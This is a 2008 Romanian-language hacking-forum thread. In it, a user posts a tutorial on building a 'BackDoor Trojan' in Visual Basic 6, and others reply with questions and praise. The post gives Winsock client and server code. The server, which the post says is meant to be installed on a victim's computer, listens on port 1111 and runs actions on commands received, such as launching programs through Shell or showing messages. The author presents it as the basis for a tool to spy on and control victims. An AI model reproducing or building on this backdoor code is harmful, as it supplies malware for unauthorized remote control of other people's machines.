Nytro Posted January 30, 2008 Report Posted January 30, 2008 Crearea unui Trojan BackDoor in Visual Basic 6 © Nytro 2008 www.mortal-team.com Sa incepem . Ce e un trojan ( Backdoor ) ? Este o aplicatie creata pentru a fura date dintr-un calculator , pentru a spiona , uneori pentru a obtine control total asupra unui calculator . Ea este de obicei formata din doua componente : client si server . Serverul este aplicatia care va trebui instalata pe calculatorul victimei , componenta care va prelucra datele , iar clientul este aplicatia care va trimite comenzi catre server , va spune ce anume sa faca serverul . Care e ideea de baza ? Simplu . Din client trimitem un cuvant ( string ) catre server , iar atunci cand serverul va primi acel string , va face ceva anume . De exemplu , daca din client trimitem catre server stringul "mesaj" , serverul va afisa un MsgBox . Cum vom face acest lucru ? Vom folosi WINSOCK , mai exact MSWINSCK.OCX . Ce este acest winsock ? Este o biblioteca de functii , care ne permite sa ne conectam , sa trimitem si sa receptionam date . Sa incepem . Intram in Visual Basic , alegem Standard si punem un Winsock pe Form ( nu o sa stau sa va explic cum se face asta , daca nu stiti jucati Mario ) . Mai punem un TextBox pentru IP , si un buton de conectare . Asta pentru client . Deschidem din nou Visual Basic , pentru server , si nu punem decat un Winsock . Sa facem conexiunea . Serverul va deschide un port prin care va primi datele de la client , pe care le va procesa . Cum facem asta ? Private Sub Form_Load() On Error Resume Next ' Handler de erori . In caz de eroare , se trece peste eroare , nu se opreste rularea serverului . Winsock1.LocalPort = 1111 ' Deschidem portul 1111 ( Puteti alege alt port ) Winsock1.Listen ' Setam serverul sa astepte date de la client End Sub Serverul va trebui rulat . Apoi in client , ne conectam la server : Private Sub Command1_Click() On Error Resume Next ' La fel Winsock1.Close ' Inchidem o conexiune anterioara , daca aceasta exista Winsock1.RemoteHost = Text1.Text ' IPul la care vrem sa ne conectam , cel din TextBox . Daca testezi serverul pe calculatorul tau poti folosi la IP 127.0.0.1 . Winsock1.RemotePort = 1111 ' Setam portul prin care clientul sa se conecteze la server Winsock1.Connect ' Conectam clientul la server End Sub In caz de conexiune reusita , va interveni evenimentul Winsock_Connect . Putem afisa pe titlu ferestrei clientului , ca avem o conexiune reusita . Private Sub Winsock1_Connect() Form1.Caption = "Conectat la" & Text1.Text ' Setam captionul ( titlul ) ferestrei ca s-a conectat , Text1.Text , fiind IP-ul scris in TextBox . End Sub In caz de o conexiune nereusita va interveni evenimentul Private Sub Winsock1_Error() . La fel , putem afisa la titlul ferestrei , faptul ca a intervenit o eroare : Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) Form1.Caption = "Eroare la conectare" End Sub Acum in server . La apasarea butonului de conectare din client , in server , va interveni evenimentul Winsock1_ConnectionRequest . Va trebui acceptata conexiunea . Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) Winsock1.Close ' Inchidem o conexiune existenta , in caz ca exista Winsock1.Accept requestID ' Acceptam conexiunea de la client End Sub Cam asta a fost conexiunea . Acum , sa setam sa faca serverul ceva anume , pentru inceput sa deschida notepad . Pentru asta , vom trimite din client stringul "notepad" , iar cand serverul va primi acel string , va deschide notepad in calculatorul victimei . Cum trimitem stringul ? Vom pune inca un buton , si la apasarea acestuia , vom trimite stringul . Private Sub Command2_Click() On Error Resume Next Winsock1.SendData "notepad" ' Trimitem stringul "notepad" End sub La primirea stringului , in server , va interveni evenimentul Winsock1_DataArrival() . Vom primi si vom procesa datele . Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String ' Declaram variabila date_primite de tipul string Winsock1.GetData date_primite ' Memoram datale primite in variabila date_primite . If date_primite = "notepad" Then ' Verificam daca stringul trimis din client si memorat in server este "notepad" , si daca este , deschidem notepad . Shell "notepad.exe" ' Deschidem notepad . End If ' Inchidem instructiunea If End Sub Dar ce facem daca vrem sa trimitem mai multe date din client , si sa nu stim ce anume contin unele , sa poata fi modificate de utilizatorul clientului , de exemplu , sa trimitem un mesaj ? Simplu . Trimitem totul ca un singur string , iar in server il vom imparti intr-un vector . Vom face acest lucru in server , cu ajutorul functiei Split . Deci in client , la trimiterea stringului , va trebui sa folosim un delimitator . Vom impatri in server datele primite in vector folosind acel delimitator . Mai bine va dau un exemplu . Mai puneti pe Form un buton si un TextBox . Private sub Command3_click() On Error Resume Next Winsock1.SendData "mesaj|" + Text2.Text ' Dupa cum vedeti , dupa "mesaj" , se afla caracterul "|" . Vom folosi acest caracter pe post de delimitator . Cand serverul va primi stringul "mesaj" , va afisa un mesaj ( MsgBox ) , cu datele trimise dupa mesaj si anume Text2.Text . End Sub In server vom procesa datele primite : Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim date_primite As String Dim Vector() As String ' Declaram vectorul Vector() de tip string . Winsock1.GetData date_primite Vector() = Split(date_primite,"|") ' Acum impartim datele primite in vector in functie de delimitatorul nostru "|" . Asadar primul element al vectorului va fi "mesaj" , iar cel de-al doilea va fi Text2.Text , mesajul trimis din server . Atentie : vectorii in Visual Basic sunt in baza 0 , adica incep de la 0 . Asadar primul element al vectorului va fi Vector(0) nu Vector(1) . Putem seta ca vectorii sa inceapa de la 1 , folosind instructiunea Option Base 1 la Declarations . Deci Vector(0) va fi "mesaj" iar Vector(1) va fi mesajul trimis din client . Va trebui sa verificam apoi primul string Vector(0) , si daca acesta este "mesaj" vom afisa ca MsgBox continutul lui Vector(1) . If Vector(0) = "mesaj" Then ' Verificam daca primul string este "mesaj" MsgBox Vector(1) ' Afisam ca MsgBox continutul mesajului trimis din client. End If End Sub Aceasta este ideea de baza . Sa prezint in continuare starile prin care trece un Winsock . Putem verifica aceste stari , folosind metoda State . Aceste stari sunt : 0 - sckClosed - Conexiunea e inchisa 1 - sckOpen - Conexiunea e deschisa 2 - sckListening - Conexiunea e in asteptare 3 - sckConnectionPending - Conexiune in desfasurare 4 - sckResolvingHost - In curs de rezolvare 5 - sckResolved - Sistem gazda rezolvat 6 - sckConnecting - Se conecteaza 7 - sckConnected - Conectat 8 - sckClosing - Se inchide conexiunea 9 - sckError - Eroare Ce putem face cu aceste state-uri ? De exemplu nu lasam sa se trimita un string din client in caz ca acesta nu este conectat la server . Private Sub Command2_Click() If Winsock1.State <> 7 ' State-ul este 7 daca este conectat MsgBox "Nu esti conectat" ' In caz ca nu e conectat , afisam mesajul "Nu esti conectat" . Else: Winsock1.SendData "notepad" End If End Sub Daca incercam sa trimitem un string si clientul nu e conectat , si nu folosim On Error Resume Next , clientul se va inchide in urma unei erori . Nu pare cine stie ce , dar de la aceasta idee au plecat toti . Aceasta este decat prima parte , voi reveni si cu o a doua parte in care voi incerca sa va explic cat mai multe functii : Open CDRom , Hide Mouse Cursor etc . Sper ca ati inteles . Credit : Nytro www.mortal-team.com Quote
H4e Posted January 30, 2008 Report Posted January 30, 2008 Tare tutorialul dar ma gandeam dak faci shi pt alea cu open Cd-rom shi alte chestii sa faci doua parti c pui la client pt comanda shi c pui la server pt comanda sa intelegem mai ushor shio ink odata bv pt tut!!! Quote
hellhacker2 Posted January 30, 2008 Report Posted January 30, 2008 ai uitat sa scrii EDUCATION PROPOSE ONLYYY!!! (kidding) Bv Nitro te asteptam si cu alte tutoriale Quote
Nytro Posted January 30, 2008 Author Report Posted January 30, 2008 Ms . Pai cred ca voi mai face decat o parte , initial ma gandisem la 3 . Am explicat intr-o topica Swap mouse , crazy mouse ... Dar le mai explic o data in partea a doua Quote
H4e Posted January 30, 2008 Report Posted January 30, 2008 Nu ma pricep foarte bine la VB dar cred k la client trebuia ceva de genu Winsock1.RemoteHost = ip.Text?? spunemi dak ma insel??? Quote
Nytro Posted January 30, 2008 Author Report Posted January 30, 2008 Trebuia Winsock1.RemoteHost = Text1.Text Tzai ce am uitat ... Ms ca mi-ai zis . Gata , am corectat Quote
Luci Posted June 26, 2009 Report Posted June 26, 2009 sunt cam noob cand vine vorba de visual basic si nu am inteles unde trebuie scrisPrivate Sub Command1_Click()On Error Resume Next Winsock1.Close Winsock1.RemoteHost = Text1.Text Winsock1.RemotePort = 1111 Winsock1.Connect End Subla servar sau la client Quote
Laurix Posted March 11, 2011 Report Posted March 11, 2011 Cred ca ai gresit undeva si anume aici " >> Swap Mouse Buttons - adica sa inversam butoanele mouseului .Functia noastra are nevoie de un singur parametru si anume bSwap . Vom da acestui parametru valoarea 0 pentru ca butoanele sa nu fie inversate , si 0 ca sa le inversam . " Putem sa dam aceasi valoare pentru doua lucruri total diferite ? sau vroiai sa spui 0 & 1 ..? sau invers ? Quote
Nytro Posted March 11, 2011 Author Report Posted March 11, 2011 Ceea ce am vrut sa spun acum 3 ani cand am scris articolul, era ca trebuie sa apelam acea functie cu valoarea parametrului 0 pentru ca butoanele mouse-ului sa nu fie inversate si 1 ca sa fie inversate. SwapMouseButton Function (Windows)Parametrul este de tip BOOL, adica trebuie sa fie true (1) sau false (0), dar in VB6, True == -1, deci poti avea probleme. Cel mai simplu e sa folosesti 0 sau 1. Quote